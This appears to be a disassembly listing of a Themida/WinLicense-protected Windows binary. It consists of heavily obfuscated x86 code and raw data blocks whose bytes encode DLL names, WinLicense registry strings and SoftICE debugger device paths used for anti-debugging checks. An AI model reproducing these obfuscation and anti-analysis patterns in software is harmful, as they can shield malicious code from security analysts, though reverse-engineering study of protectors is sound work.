		mov	eax, 49CB7932h
		and	eax, 1D1B2E62h
		jmp	loc_569505
; ---------------------------------------------------------------------------


loc_572ADB:				; CODE XREF: sub_562ABA+934Cj
		mov	[esp+32h+var_32], ebp
		jmp	loc_568F58
; ---------------------------------------------------------------------------


loc_572AE3:				; CODE XREF: sub_562ABA+4AFCj
		mov	edx, 0FFA20CEBh
		add	eax, edx
		pop	edx
		xor	ecx, eax
		pop	eax
		sub	esi, ecx
		jmp	loc_564A3F
; ---------------------------------------------------------------------------


loc_572AF5:				; CODE XREF: sub_562ABA-CD4j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_572AFA:				; CODE XREF: sub_562ABA+3D31j
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_572AFF:				; CODE XREF: sub_562ABA+4536j
		xchg	ebx, [esp+26h+var_28+2]
		mov	esp, [esp+26h+var_28+2]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+2Ah+var_2C+2]
		jmp	loc_572568
; ---------------------------------------------------------------------------


loc_572B1A:				; CODE XREF: sub_562ABA+EC84j
		pop	edx
		add	ebp, 40E10DE3h
		add	ebp, edi
		sub	ebp, 40E10DE3h
		pop	edi
		not	ebp
		push	ecx
		mov	ecx, 51D3CD1h
		jmp	loc_56A93F
; ---------------------------------------------------------------------------


loc_572B37:				; CODE XREF: sub_562ABA-4826j
		add	edx, 6D9839B7h
		pop	eax
		sub	edx, 467E41A7h
		add	edx, edi
		jmp	loc_55FDB7
; ---------------------------------------------------------------------------


loc_572B4B:				; CODE XREF: sub_562ABA-1DE6j
		mov	[esp-0Ah+arg_4+2], eax
		push	esp
		pop	eax
		push	ebp
		push	ebx
		push	427C2A5Eh
		pop	ebx
		mov	ebp, ebx
		pop	ebx
		sub	ebp, 7A720DB4h
		push	431Eh
		mov	[esp+0], ebp
		not	dword ptr [esp+0]
		pop	ebp
		shl	ebp, 6
		jmp	loc_5715A9
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------


loc_572B75:				; DATA XREF: Themida_:0055E000o
		mov	cx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], eax
		push	6E75h
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		jmp	loc_56FB04
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_572BA2:				; CODE XREF: sub_562ABA+7135j
		pop	esi
		jmp	loc_568E56
; ---------------------------------------------------------------------------


loc_572BA8:				; CODE XREF: sub_562ABA-372Dj
		add	edi, ecx
		pop	ecx
		push	eax
		mov	eax, 4
		add	edi, eax
		pop	eax
		push	edi
		jmp	loc_56B265
; ---------------------------------------------------------------------------


loc_572BBA:				; CODE XREF: sub_562ABA+62C4j
		pop	esi
		push	eax
		jmp	loc_565311
; ---------------------------------------------------------------------------


loc_572BC1:				; CODE XREF: sub_562ABA+6358j
		xor	[esp+0], edx
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		shl	word ptr [esp+0], cl
		pushf
		jmp	loc_55E09F
; ---------------------------------------------------------------------------


loc_572BD4:				; CODE XREF: sub_562ABA-35DAj
		mov	eax, 419678DBh
		dec	eax
		xor	eax, 4060A708h
		xor	edx, eax
		pop	eax
		sub	ecx, 6DFD49D2h
		add	ecx, 4A312DB2h
		add	ecx, edx
		sub	ecx, 4A312DB2h
		add	ecx, 6DFD49D2h
		pop	edx
		jmp	loc_56F5C0
; END OF FUNCTION CHUNK	FOR sub_562ABA

; =============== S U B	R O U T	I N E =======================================



sub_572C02	proc near		; CODE XREF: sub_562ABA-3409j
		push	ebx
		mov	ebx, 333E7F25h
		push	eax
		mov	eax, 47654F76h
		add	ebx, 5BB917E3h
		add	ebx, eax
		sub	ebx, 5BB917E3h
		pop	eax
		and	ebx, 53C75673h
		inc	ebx
		neg	ebx
		sub	ebx, 0AD7CB9E8h
		sub	esi, 62D2565Ch
		add	esi, ebx
		push	edi
		mov	edi, 77D949F7h
		jmp	loc_56A8B3
sub_572C02	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_562ABA


loc_572C3F:				; CODE XREF: sub_562ABA-184Dj
		sub	ebx, 4FF7DFFBh
		add	eax, ebx
		pop	ebx
		jmp	loc_571DCF
; ---------------------------------------------------------------------------


loc_572C4D:				; CODE XREF: sub_562ABA+AFF7j
		not	edi
		xor	[esp+4Eh+var_4E], edi
		xor	edi, [esp+4Eh+var_4E]
		jmp	loc_570E25
; END OF FUNCTION CHUNK	FOR sub_562ABA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54DC11


loc_572C5A:				; CODE XREF: sub_54DC11+38D8j
		call	near ptr loc_572C62+5
		scasb
		pop	eax
		xchg	eax, edx


loc_572C62:				; CODE XREF: sub_54DC11:loc_572C5Ap
		sar	byte ptr [ebx-76E5101Ch], cl
; END OF FUNCTION CHUNK	FOR sub_54DC11
; ---------------------------------------------------------------------------
		dd 0A831D98Dh, 81665A06h, 81D076D6h, 7379C2h, 0B800h, 8B0F0000h
		dd 6, 33ED9D8Bh, 34FF06A8h, 0C6816610h,	8959FE53h, 0A82BAD9Dh
		dd 0CAE98106h, 8B7FD67Dh, 0A8260DB5h, 36F18106h, 815E8261h
		dd 0CE3C27E9h, 5EF5532Bh, 29020C89h, 0A82E1185h, 4E88306h
		dd 2E4D8D31h, 0F88106A8h, 0FFFF8CFCh, 0FFB8850Fh, 8589FFFFh
		dd 6A815C1h, 4AE9h, 49500300h, 45535557h, 2E323352h, 6C6C64h
		dd 41564441h, 32334950h, 6C6C642Eh, 44544E00h, 642E4C4Ch
		dd 0D7006C6Ch, 4000A07h, 0C001200h, 2E001900h, 3E00h, 4	dup(0)
		dd 0E9000000h, 817h, 0AA940468h, 0EA98E906h, 7F68FFFDh
		dd 0E906AA94h, 0FFFDEA8Eh, 0AA959468h, 0EA84E906h, 0D068FFFDh
		dd 0E906AA96h, 0FFFDEA7Ah, 0AA974768h, 0EA70E906h, 5368FFFDh
		dd 0E906AA98h, 0FFFDEA66h, 0AA98A668h, 0EA5CE906h, 0FF9AFFFDh
		dd 0A2CF70B6h, 5800A3E7h, 42A9511h, 395AC541h, 8A93674h
		dd 0E624690Ah, 0CA501D3Dh, 482CB69h, 75B1F89Bh,	0D9D16BF1h
		dd 0ABB60269h, 2501C66Dh, 0EE932FA9h, 346DA5C3h, 4AF123E4h
		dd 0D4D4769Ch, 8AAF587Fh, 58803870h, 0A1210AAFh, 800901BBh
		dd 50FBAF58h, 912B3167h, 0B600966Ah, 7F89FF58h,	8FDAB320h
		dd 6482399Bh, 82E4DB22h, 218EA996h, 5B8F3498h, 2B1FA821h
		dd 15B19A9Dh, 24C28BAAh, 4C940ED2h, 58C93D2Ah, 0E5367B36h
		dd 0C766C9B3h, 7CA35A8Eh, 86250BFBh, 6863Dh, 155CFB00h
		dd 44012E91h, 723B5DC6h, 0A2E78B34h, 0D79ABB64h, 6DA5D453h
		dd 9A0581CCh, 0CE71B5F8h, 0A3E7AEh, 1696145Dh, 6B76B2D4h
		dd 0E4CB602h, 155CFF21h, 0CABB67F1h, 23357597h,	240FAF58h
		dd 912802AAh, 0B1E3A407h, 3EAADC0Ah, 20B60358h,	46D29FBFh
		dd 0CD6B9FB8h, 0A90F46E2h, 9B2F6606h, 766FFB7Dh, 427BB3EFh
		dd 622B49D6h, 88C1643Dh, 23BA8750h, 0D9AA09F3h,	60Bh, 0A90D980h
		dd 45C184A9h, 0B3F7BEDAh, 0E3276210h, 0D4521F40h, 47E82A4Fh
		dd 7313BC0Ah, 2547E83Eh, 0D675DE6Ch, 49930B9Fh,	26AFB3Fh
		dd 0A483C9B6h, 7EF45CFFh, 0C4ADFC93h, 55CE534Ch, 98327F36h
		dd 94809213h, 7312DF80h, 71h, 155CFFD4h, 5EA6AA91h, 0AF57D7h
		dd 0D768A0DAh, 0F15AAF57h, 9455F8A7h, 0B172BFF2h, 4750DD90h
		dd 9631756Eh, 0C3699D26h, 0DB7BBEE0h, 27100996h, 0F177A1FAh
		dd 0B60047D5h, 7D6684AFh, 0AF1096DFh, 6D68258Dh, 0EF96F16h
		dd 0F46AAED8h, 0FF58B5FFh, 4896E006h, 0FCCD36C9h, 0E65FCC6Ch
		dd 55Fh, 487F600h, 6062D1F7h, 9A2ADC96h, 0FA3E099Fh, 155CFFB1h
		dd 0D1715288h, 298B1C9Ch, 0FFD27492h, 0C5B5FFE3h, 0CD36DC6Ah
		dd 80BAE7AEh, 6EE0B572h, 84140D2Ch, 0F531781Bh,	0AD59E252h
		dd 0AB53FA1Bh, 0BB6FC8BCh, 3708DB1Dh, 4680B776h, 0A50A43E5h
		dd 0D97B2474h, 8BA90A90h, 0A1C45DC2h, 0BFE130E8h, 70B3EC7Bh
		dd 4F68Fh, 85CC6B00h, 0B4F19E01h, 0E2ABCD76h, 1257FBA4h
		dd 470A2B94h, 0DD3544C3h, 0AB5F1BCh, 3EE12568h,	70D3571Eh
		dd 0A60684CDh, 6C060244h, 0BEFCB602h, 9D5CFF91h, 3C6DB2FBh
		dd 2645DE43h, 5288C26Fh, 1B9DD071h, 3BBDFFA0h, 44E68ACFh
		dd 50ECF109h, 0E8DB2D8Bh, 33AF589Dh, 0DF11ECD9h, 0FEDC0912h
		dd 0F0D3FFFFh, 82A2034Eh, 0E33566CBh, 155CFFB8h, 16AD0F88h
		dd 226F0FF0h, 77DA6CF6h, 69B5FFDDh, 0DD81B9C3h,	0E843B5FFh
		dd 1195BE40h, 9BD06B6h,	0A81054FFh, 88A90ABCh, 8D662F4Dh
		dd 9FA1F720h, 8CAD16B4h, 0ED4B5CC1h, 0FB9FC7Eh,	0FD5BCA8h
		dd 64C980A4h, 0A50EE533h, 8FEBB995h, 18F5C1Fh, 1E70000h
		dd 3640F425h, 57D79494h, 0FE086EAFh, 0AF57D6BAh, 0DDB6AF88h
		dd 0ED6C9F29h, 0FD56B5FFh, 0A227D8Bh, 3B998FDAh, 0DD205A80h
		dd 8396823Bh, 0E4347D20h, 0B6ACF15Ah, 0B99DA224h, 0E31AD499h
		dd 7711729Dh, 70B8F13Eh, 8BE05B7h, 2A8A79FEh, 3AE04B9Dh
		dd 0B8F0B5D9h, 5CEE14B2h, 9D2A8A5Ch, 7FF50D26h,	0ABC1FFAAh
		dd 3457D850h, 0E786297Dh, 0EAA17AAEh, 0C4E70BFCh, 3BA7Bh
		dd 41082F00h, 70355AC5h, 0A6EF892Ah, 0D693BF60h, 34EEF50h
		dd 99793887h, 0CE71B5F8h, 0FAA5E1ACh, 2C97135Ah, 62FA4009h
		dd 6D4A4EF8h, 0F238B602h, 0EA1CBA55h, 0AF57D6AEh, 3023BB94h
		dd 327B2E04h, 0AB099E1Ah, 4050EA10h, 26B6034Eh,	4AD79EBDh
		dd 1E39C751h, 2C6507E8h, 5E17359Eh, 6E2B47A8h, 0A5C859CAh
		dd 4CF10E0Dh, 140D206Eh, 235F11F4h, 0DFA003F3h,	343h, 42D891B8h
		dd 0BD094CE1h, 0EB3F7612h, 0DB6F2A48h, 0C9AD778h, 7F20F287h
		dd 2B4BF432h, 0DD7F2066h, 8EAD1694h, 1DB43C7h, 26DC3C7h
		dd 0DC7B81B6h, 88155CFFh, 893D7417h, 0E64B0226h, 0F68063B5h
		dd 316040E1h, 0FAAF57D9h, 0DFD49782h, 0D3755E12h, 0C6A8409Ah
		dd 78E7D9D6h, 0FD2C0230h, 0FF25FFFFh, 0EF1155Ch, 0DA11C06Ch
		dd 0AAD90B41h, 5E8467B1h, 2B9CD975h, 0CEDF440Dh, 257FDD6Ah
		dd 0C8B155C1h, 0F7B2DF87h, 1E81251Eh, 0D59CBC71h, 40EEB7FCh
		dd 668C2C05h, 954924h, 8A103BB6h, 0FF2001ADh, 99912B5Dh
		dd 6BAF57D7h, 0B933D7C0h, 86731C03h, 59831547h,	0BBBC2Fh
		dd 79AD86B6h, 0BC71A9D3h, 0F853B600h, 0F0DEE8B0h, 0AB5E182Eh
		dd 0F214B209h, 64C060ABh, 0A871BE99h, 0F10BBF04h, 6B689B78h
		dd 9E9A2C4Ah, 646B689Bh, 0CB34D2CBh, 6CBDE2A7h,	9EBD26CCh
		dd 4AB553D7h, 0EC3D622Bh, 940E34Ch, 0BE91E0DFh,	74CDEE3Dh
		dd 237h, 46C48DACh, 0B1F5B0DDh,	0E7236A0Eh, 0D753163Ch
		dd 86CB6Ch, 7B1CF6BBh, 2F4FF036h, 0D97B2462h, 8AA90A90h
		dd 5E747C3h, 26EC7C3h, 0D07FBDB6h, 0D80EB5E7h, 26A5CAEh
		dd 0D90D26B6h, 8B1F56F6h, 0E04D0428h, 0B3551C3Fh, 0F324C236h
		dd 0E4EA5B58h, 59000001h, 9033773Eh, 0BF60A6E3h, 0E94AD099h
		dd 19BA0045h, 6AF13578h, 0E7AACB47h, 135E00A3h,	41082C97h
		dd 723B5AC5h, 10AAB034h, 0B6026F18h, 0E787ACEAh, 0AB1BEFB5h
		dd 5224C35Bh, 0C91612B4h, 43ECAF58h, 0AD16BC6Ah, 9452C68Fh
		dd 0B6035C86h, 0CC37D37Ch, 8AC768A9h, 1B21591h,	0F29F00A6h
		dd 0E7316AB7h, 5BD9CB7Dh, 80ABB603h, 0ACE18223h, 7B1CBF07h
		dd 0E657F036h, 251DAF5Bh, 1FB6035Ch, 86B9D8D5h,	5A33F6A4h
		dd 60294CD5h, 0BDE043C3h, 0BB24BB15h, 2FB315Ch,	31781B84h
		dd 0A20A2A95h, 69BBA8BBh, 921F08BBh, 0DAC1F99h,	4FD0FBF5h
		dd 0DE6C2548h, 129FD675h, 0D670F091h, 0B60331D2h, 1AE87B0h
		dd 858C15BEh, 0B81BAFE6h, 3255DA97h, 95D07D1Ch,	0BDF49708h
		dd 87289D70h, 42E3C808h, 0BAF3957Eh, 0DD90B17Eh, 845E649h
		dd 1612B4D2h, 0ECB60332h, 0AD76D543h, 9659C68Fh, 0CC6D743Dh
		dd 0FB9A0581h, 0EFED6DB2h, 0EA6E7698h, 67224FB0h, 0D880E13Ah
		dd 3AC0791h, 8A1059FCh,	0DE430A29h, 0C4692445h,	6933FC69h
		dd 2466E286h, 6E7698E4h, 1C9C75DEh, 6DB9F093h, 0E527A3C2h
		dd 6E7699A5h, 56DBB49Fh, 3E5467D5h, 0CE5367Bh, 0B465ACDEh
		dd 155F751Eh, 8111E261h, 0E327105Ah, 9B4FF458h,	0C925F561h
		dd 3F64CF7Bh, 3943C766h, 7BC92601h, 0FB9E68C3h,	34BF7B26h
		dd 5E41655Eh, 0FB2C713Ch, 0C96CD7BDh, 0E9586961h, 0BA937C04h
		dd 3C25F575h, 0AE4CCDADh, 0CC6C2945h, 0A4C7CE57h, 57F659EDh
		dd 6210911Eh, 5E77FA27h, 0E6AFCED5h, 28609AC0h,	1ACDAD3Ch
		dd 0E7A2D031h, 0AB2DCBB1h, 0ABC5FC95h, 41EE4A38h, 7DC66B22h
		dd 1Bh,	5D183699h, 0A70FC7D0h, 38CAD710h, 0B0E4CF69h, 5E5AEC0Ah
		dd 24AF57D7h, 0FF86AD0Bh, 138C1158h, 2BF43970h,	42E34009h
		dd 5FC06D20h, 752E733Eh, 8B1499D4h, 0A47DA2E7h,	0BF60CD84h
		dd 0FA4AD792h, 81E38953h, 4C3h,	4EB8100h, 87000000h, 895C241Ch
		dd 0E8682414h, 8900004Ch, 89512414h, 4C181E1h, 83000000h
		dd 0C8704E9h, 3C895C24h, 4EC8324h, 0B9240C89h, 643155E0h
		dd 9BC685BAh, 59CA3162h, 8904EC83h, 4812424h, 424h, 0AB685F00h
		dd 8900005Bh, 478F2414h, 243C8B08h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		db 0EAh
		dd 43CBEDCEh, 0B844C8DDh, 6AA9AAFh, 0E0FFC503h,	43E9AF2Fh
		dd 64194127h, 32C8440Ah, 51E98C9Bh, 710ACAE0h, 4A3CE43Dh
		dd 474509D9h, 4F891D39h, 1C03DB9Fh, 3E629026h, 4B6D8269h
		dd 0F4B9C48h, 1B8B9081h, 31C6607Ch, 8DE9h, 0BD836000h
		dd 6A81521h, 5840F00h, 0E9000000h, 78h,	3E80006Ah, 8850F30h
		dd 6A000000h, 35E94600h, 80000000h, 850F333Eh, 8, 0E946106Ah
		dd 24h,	0F343E80h, 885h, 46306A00h, 13E9h, 353E8000h, 8850Fh
		dd 406A0000h, 2E946h, 6A0000h, 0F203E80h, 1285h, 17E8000h
		dd 8850F00h, 83000000h,	15E908C4h, 8D000000h, 0A826D185h
		dd 4895006h, 96509624h,	95FF006Ah, 6A8142Dh, 85C6C361h
		dd 6A815D5h, 1ECA684Dh,	3481CC2Eh, 1B686224h, 2DB5FF68h
		dd 8D06A80Dh, 0A83AC385h, 89D0FF06h, 0A8142D85h, 0AAE906h
		dd 6F530000h, 61777466h, 575C6572h, 694C6E69h, 736E6563h
		dd 68430065h, 496B6365h, 7058004Eh, 45746F72h, 746978h
		dd 63656843h, 54554F6Bh, 6E695700h, 6563694Ch, 5665736Eh
		dd 69737265h, 57006E6Fh, 694C6E69h, 736E6563h, 69724465h
		dd 56726576h, 69737265h, 57006E6Fh, 694C6E69h, 736E6563h
		dd 736E4965h, 636E6174h, 78450065h, 6B4F7469h, 6F725000h
		dd 4E4963h, 636F7250h, 54554Fh,	74697845h, 45004E49h, 4F746978h
		dd 54005455h, 4E4970h, 3 dup(0)
		dd 77DDAF7Fh, 77DD72F0h, 596E9h, 0CF858900h, 8D06AA9Ch
		dd 0AA9CCB85h, 858D5006h, 6AA9C35h, 16850h, 95FF8000h
		dd 6AA9CDBh, 0B5FF196Ah, 6AA9CCFh, 6A016Ah, 9C64858Dh
		dd 0FF5006AAh, 0AA9CCBB5h, 0C995FF06h, 0FF06A81Eh, 0AA9CCBB5h
		dd 0D795FF06h, 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 0C306A807h
		dd 9CCF8589h, 858D06AAh, 6AA9CCBh, 35858D50h, 5006AA9Ch
		dd 168h, 0DB95FF80h, 6A06AA9Ch,	0CF858D04h, 5006AA9Ch
		dd 6A046Ah, 9C8E858Dh, 0FF5006AAh, 0AA9CCBB5h, 0C995FF06h
		dd 0FF06A81Eh, 0AA9CCBB5h, 0D795FF06h, 0FF06AA9Ch, 0AA9CCBB5h
		dd 9195FF06h, 0C306A807h, 9CCF8589h, 858D06AAh,	6AA9CCBh
		dd 35858D50h, 5006AA9Ch, 168h, 0DB95FF80h, 6A06AA9Ch, 0CF858D04h
		dd 5006AA9Ch, 6A046Ah, 9C76858Dh, 0FF5006AAh, 0AA9CCBB5h
		dd 0C995FF06h, 0FF06A81Eh, 0AA9CCBB5h, 0D795FF06h, 0FF06AA9Ch
		dd 0AA9CCBB5h, 9195FF06h, 0C306A807h, 9CCF8589h, 858D06AAh
		dd 6AA9CCBh, 35858D50h,	5006AA9Ch, 168h, 0DB95FF80h, 6A06AA9Ch
		dd 0CF858D04h, 5006AA9Ch, 6A046Ah, 9CA1858Dh, 0FF5006AAh
		dd 0AA9CCBB5h, 0C995FF06h, 0FF06A81Eh, 0AA9CCBB5h, 0D795FF06h
		dd 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 0C306A807h, 9CCF8589h
		dd 858D06AAh, 6AA9CCBh,	35858D50h, 5006AA9Ch, 168h, 0DB95FF80h
		dd 6A06AA9Ch, 0CF858D04h, 5006AA9Ch, 6A046Ah, 9C51858Dh
		dd 0FF5006AAh, 0AA9CCBB5h, 0C995FF06h, 0FF06A81Eh, 0AA9CCBB5h
		dd 0D795FF06h, 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 0C306A807h
		dd 32A1BD83h, 0F0006A8h, 0B84h,	0A19D8B00h, 8306A832h
		dd 3894CC3h, 0A1BD83C3h, 6A832h, 0B840Fh, 9D8B0000h, 6A832A1h
		dd 8950C383h, 0BD83C303h, 6A832A1h, 0B840F00h, 8B000000h
		dd 0A832A19Dh, 54C38306h, 83C30389h, 0A832A1BDh, 840F0006h
		dd 0Bh,	32A19D8Bh, 0C38306A8h, 0C3038958h, 32A1BD83h, 0F0006A8h
		dd 0B84h, 0A19D8B00h, 8306A832h, 3895CC3h, 8960C3C3h, 0AA9CCF85h
		dd 0CB858D06h, 5006AA9Ch, 9C35858Dh, 685006AAh,	80000001h
		dd 9CDB95FFh, 46A06AAh,	9CCF858Dh, 6A5006AAh, 8D006A04h
		dd 0AA9CC685h, 0B5FF5006h, 6AA9CCBh, 1EC995FFh,	0BD8306A8h
		dd 6A81ED9h, 0C840F00h,	0FF000000h, 0AA9CCBB5h,	0D795FF06h
		dd 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 6106A807h, 858960C3h
		dd 6AA9CCFh, 9CCB858Dh,	8D5006AAh, 0AA9C3585h, 1685006h
		dd 0FF800000h, 0AA9CDB95h, 8D046A06h, 0AA9CCF85h, 46A5006h
		dd 858D006Ah, 6AA9CA8h,	0CBB5FF50h, 0FF06AA9Ch,	0A81EC995h
		dd 0D9BD8306h, 6A81Eh, 0C840Fh,	0B5FF0000h, 6AA9CCBh, 9CD795FFh
		dd 0B5FF06AAh, 6AA9CCBh, 79195FFh, 0C36106A8h, 0CF858960h
		dd 8D06AA9Ch, 0AA9CCB85h, 858D5006h, 6AA9C35h, 16850h
		dd 95FF8000h, 6AA9CDBh,	858D046Ah, 6AA9CCFh, 6A046A50h
		dd 0AF858D00h, 5006AA9Ch, 9CCBB5FFh, 95FF06AAh,	6A81EC9h
		dd 1ED9BD83h, 0F0006A8h, 0C84h,	0CBB5FF00h, 0FF06AA9Ch
		dd 0AA9CD795h, 0CBB5FF06h, 0FF06AA9Ch, 0A8079195h, 60C36106h
		dd 9CCF8589h, 858D06AAh, 6AA9CCBh, 35858D50h, 5006AA9Ch
		dd 168h, 0DB95FF80h, 6A06AA9Ch,	0CF858D04h, 5006AA9Ch
		dd 6A046Ah, 9CB7858Dh, 0FF5006AAh, 0AA9CCBB5h, 0C995FF06h
		dd 8306A81Eh, 0A81ED9BDh, 840F0006h, 0Ch, 9CCBB5FFh, 95FF06AAh
		dd 6AA9CD7h, 9CCBB5FFh,	95FF06AAh, 6A80791h, 8960C361h
		dd 0AA9CCF85h, 0CB858D06h, 5006AA9Ch, 9C35858Dh, 685006AAh
		dd 80000001h, 9CDB95FFh, 46A06AAh, 9CCF858Dh, 6A5006AAh
		dd 8D006A04h, 0AA9CBE85h, 0B5FF5006h, 6AA9CCBh,	1EC995FFh
		dd 0BD8306A8h, 6A81ED9h, 0C840F00h, 0FF000000h,	0AA9CCBB5h
		dd 0D795FF06h, 0FF06AA9Ch, 0AA9CCBB5h, 9195FF06h, 6106A807h
		dd 85C760C3h, 6AA9CCFh,	1, 9CCB858Dh, 8D5006AAh, 0AA9C3585h
		dd 2685006h, 0FF800000h, 0AA9CDB95h, 0FC00B06h,	0F84h
		dd 0CF85C700h, 6AA9Ch, 0E9000000h, 4Dh,	858D046Ah, 6AA9CCFh
		dd 6A046A50h, 49858D00h, 5006AA9Ch, 9CCBB5FFh, 95FF06AAh
		dd 6A81EC9h, 840FC00Bh,	0Fh, 9CCF85C7h,	6AAh, 0AE90000h
		dd 0C7000000h, 0AA9CCF85h, 106h, 0CBB5FF00h, 0FF06AA9Ch
		dd 0A8079195h, 858B6106h, 6AA9CCFh, 858960C3h, 6AA9CCFh
		dd 9CCB858Dh, 8D5006AAh, 0AA9C3585h, 1685006h, 0FF800000h
		dd 0AA9CDB95h, 8D046A06h, 0AA9CCF85h, 46A5006h,	858D006Ah
		dd 6AA9C49h, 0CBB5FF50h, 0FF06AA9Ch, 0A81EC995h, 0D9BD8306h
		dd 6A81Eh, 0C840Fh, 0B5FF0000h,	6AA9CCBh, 9CD795FFh, 0B5FF06AAh
		dd 6AA9CCBh, 79195FFh, 0C36106A8h, 0CF858960h, 8D06AA9Ch
		dd 0AA9CCB85h, 858D5006h, 6AA9C35h, 16850h, 95FF8000h
		dd 6AA9CDBh, 858D046Ah,	6AA9CCFh, 6A046A50h, 5B858D00h
		dd 5006AA9Ch, 9CCBB5FFh, 95FF06AAh, 6A81EC9h, 1ED9BD83h
		dd 0F0006A8h, 0C84h, 0CBB5FF00h, 0FF06AA9Ch, 0AA9CD795h
		dd 0CBB5FF06h, 0FF06AA9Ch, 0A8079195h, 0C6C36106h, 0A815D585h
		dd 7685206h, 0FFADE47Bh, 0A8069DB5h, 7D95FF06h,	8906A82Dh
		dd 0AA9CDB85h, 0D585C606h, 5206A815h, 2E00E568h, 9DB5FF90h
		dd 0FF06A806h, 0A82D7D95h, 0D7858906h, 0C606AA9Ch, 0A815D585h
		dd 35685206h, 0FFB9BF12h, 0A8069DB5h, 7D95FF06h, 8906A82Dh
		dd 0A81EC985h, 0D585C606h, 5206A815h, 78103468h, 9DB5FF98h
		dd 0FF06A806h, 0A82D7D95h, 91858906h, 0C606A807h, 0A815D585h
		dd 0D4685206h, 0FFC005DBh, 0A8069DB5h, 7D95FF06h, 8906A82Dh
		dd 0A80D1185h, 7E806h, 37130000h, 0DF7B52A8h, 0FE8E1h
		dd 7B420000h, 5CE3DA6Fh, 98814C78h, 0FC0B0EC6h,	959EBE86h
		dd 59583145h, 13E9h, 3E133B00h,	2742BE83h, 7302A3A7h, 656B5238h
		dd 9444F8F2h, 5C63C181h, 13E90000h, 56000000h, 3EE9A20Fh
		dd 8476F119h, 53D5691Dh, 0B18C8F49h, 68650Ah, 66000000h
		dd 47A1D081h, 0D68B665Bh, 56193C8Bh, 5EC18B56h,	3FC78158h
		dd 8172E841h, 0FC785EE6h, 0BEF8127h, 0B8296C9Dh, 6BE5C20Dh
		dd 453FEF81h, 81575E5Ch, 437E48F0h, 19048F08h, 60F3B70Fh
		dd 0EE8D78Bh, 11000000h, 18D2711Fh, 57F6B40Fh, 0E5A860A9h
		dd 81615882h, 0EA0574EBh, 0B1EC803Bh, 570C381h,	80603BEAh
		dd 8C0F27CCh, 4, 0F435B866h, 0B8FB8161h, 0FFFFFA4h, 2885h
		dd 0CE900h, 0AA8F0000h,	7D1E96B6h, 41F6C650h, 2EE98879h
		dd 7B000000h, 0BE845930h, 0C5EFD5DDh, 6620D8A3h, 8AEB73A3h
		dd 0C68B66B6h, 0FFFF5BE9h, 0BA6FDBFFh, 1B2D585Fh, 4A787A6Fh
		dd 7A2FAA6Eh, 47BCF338h, 5C1EEB05h, 535C2E5Ch, 454349h
		dd 5C2E5C5Ch, 56574953h, 5C004449h, 4E5C2E5Ch, 45434954h
		dd 8BC08B00h, 0D9BD83D3h, 6A81Eh, 0BD830975h, 6A82DE9h
		dd 50197400h, 0B8C08B53h, 40Fh,	7B58589h, 9D8D06A8h, 6AAA1ACh
		dd 585BD3FFh, 2DE9BD83h, 740006A8h, 0B8535017h,	40Fh, 7B58589h
		dd 9D8D06A8h, 6AA9E9Bh,	585BD3FFh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 0F6C35040h,	0D18B0AC1h, 38A0Fh
		dd 0B70F0000h, 998509FFh, 8B06A832h, 0C6F08BC0h
		dd 0A815D585h, 0BF0F4306h, 925968C9h, 19B29C84h, 0A3240481h
		dd 802009DCh, 0B5FFCFD2h, 6A831F9h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 0F1C35747h,	0EB9A6C27h, 0BE535A33h
		dd 667E855Ah, 4D8D0B5Fh, 8D06A82Ah, 0A83AC385h,	0C9958906h
		dd 0FF06A81Bh, 57006AD0h, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 208E0F95h, 0E8000000h
		dd 14h,	0EB614CD8h, 0D357D0h, 7A594E5Fh, 0D3C22402h, 2A0018DDh
		dd 2115B58Bh, 0E95906A8h, 13h, 6240C8F9h, 3C33753Ch, 41D34654h
		dd 0B8E717ACh, 90016F08h, 0C4EDAEB9h, 810F5010h, 0Ch, 6890Fh
		dd 880F0000h, 0
		db 90h
; ---------------------------------------------------------------------------
		mov	dl, 0CCh
		push	0
		push	0
		push	edi
		call	sub_573FC4
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_573FC4	proc near		; CODE XREF: Themida_:00573FBCp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Dh
		inc	edi
		push	edi
		retn
sub_573FC4	endp

; ---------------------------------------------------------------------------
		mov	ds:3475AC8h, eax
		pusha
		add	al, [edx]
		pop	esp
		test	eax, 7E8h
		add	[ebx], dh
		xor	eax, [edx-681088CFh]
		or	[ebp+6A831D9h],	edx
		pop	ecx
		call	near ptr loc_573FF9+1
		add	byte ptr [eax],	0


loc_573FF9:				; CODE XREF: Themida_:00573FF1p
		add	[edi+77977F71h], bh
		push	eax
		mov	edi, 34A04A7Eh
		mov	eax, [esp+4]
		call	near ptr loc_574017+2
		stc
		jo	short loc_57406F
		mov	es, cx
		jb	short near ptr loc_574040+2
		jge	short loc_574094


loc_574017:				; CODE XREF: Themida_:00574009p
		lea	edx, [ebx-17h]
		add	eax, 4000000h
		and	eax, 59A17BACh
		mov	eax, [eax]
		mov	dx, si
		mov	[esp+4], eax
		mov	edi, 0EC044C2h
		pop	eax
		clc
		push	3
		push	0
		push	0
		push	ebx
		call	sub_574043


loc_574040:				; CODE XREF: Themida_:00574013j
		and	[ebx-3Dh], bl

